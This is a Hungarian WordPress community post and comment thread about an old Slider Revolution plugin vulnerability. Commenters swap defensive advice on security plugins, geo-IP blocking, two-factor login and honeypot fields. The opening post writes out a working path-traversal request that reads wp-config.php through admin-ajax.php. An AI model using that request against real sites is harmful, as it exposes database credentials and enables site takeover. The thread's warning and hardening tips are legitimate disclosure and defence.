A mocskos k..va életbe, most fogtam egy ilyet, simán le lehet vele szedni wordpress konfigot. #wordpress #security #bug
UPDATE: Úgy látom, friss WP-ben javítva van, de érdemes mindenkinek ránézni.
.../wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
WordPress WordPress Magyar Közösség
A revslider bug nagyon régi már, és sokan nem javitják :-( , nálam is kimaradt egy blog, de baszki a google wmt bot küldött értesítést róla..
VálaszTörlésPedig ez nem új bug és már javítva is van ha jól olvasom. Nem volt frissítve a plugined?
VálaszTörléshttp://wptavern.com/critical-security-vulnerability-found-in-wordpress-slider-revolution-plugin-immediate-update-advised
Nem az én oldalam volt, csak egy ügyfélé. Az ok, hogy feltörik az oldalát, csak az a baj, hogy utána spam küldésre használják a blogot, és megy a szerver spam listára egy időre.
VálaszTörlésLOL a DW-n kipróbáltam a linket, bár tudom hogy nem használjuk ezt a plugint, a védelmünk egyből bannolt XD
VálaszTörlésMost könyöröghetem magam vissza egy másik adminnál :D
http://i.imgur.com/r9SBsR7.png
update: visszajutottam :D
Mit használtok védelemre?
VálaszTörlésWordfence + Block Bad Queries
VálaszTörlésKöszi. Most Jetpack-nél is láttam egy olyat, hogy x db (asszem 5) hibás bejelentkezés után kitiltja az ip-t. Brute force támadások ellen jó. Nálam pl. folyamatosan csesztetik az összes WP login.php-jét. Persze az ilyen csúnya kérések ellen nem véd.
VálaszTörlésLaszlo Fazekas IThemes Security, az egyik legjobb - de erről Robert Cartman nem meggyőzhető ;-)
VálaszTörlésA szerveren mi letiltottuk tűzfallal a 10 leginkább támadó országot ip alapján, ezzel a támadások 99%-a elhárult. Ami marad azt meg elintézi a wordfence. Plussz még kétlépcsős beléptetés van minden modinak+adminnak (Authy Two Factor Authentication).
VálaszTörléshttps://www.howtoforge.com/nginx-how-to-block-visitors-by-country-with-the-geoip-module-debian-ubuntu
Nézd meg ezt a plugint is: Pixel Jar BuddyPress Honeypot
VálaszTörlésKönnyen megírhatod magadnak is, annyi hogy tesz egy láthatatlan input mezőt a login oldalra, ami ha ki van töltve, akkor blokkolja a belépést. A bot-ok kitöltik, mert nem veszik észre hogy annak nem is kéne látszani, az embereket meg nem zavarja mert nem is látják. Nagyon kis ötletes és egyszerű, mint egy pofon.
Csaba Sári én teszteltem azt, még amikor Better WP Security néven futott, de nálunk összeomlott tőle az oldal. Valamelyik másik pluginunkkal akadhatott össze, vagy nemtom. Biztos jó amúgy én is sok helyen láttam hogy ajánlják. ;)
VálaszTörlés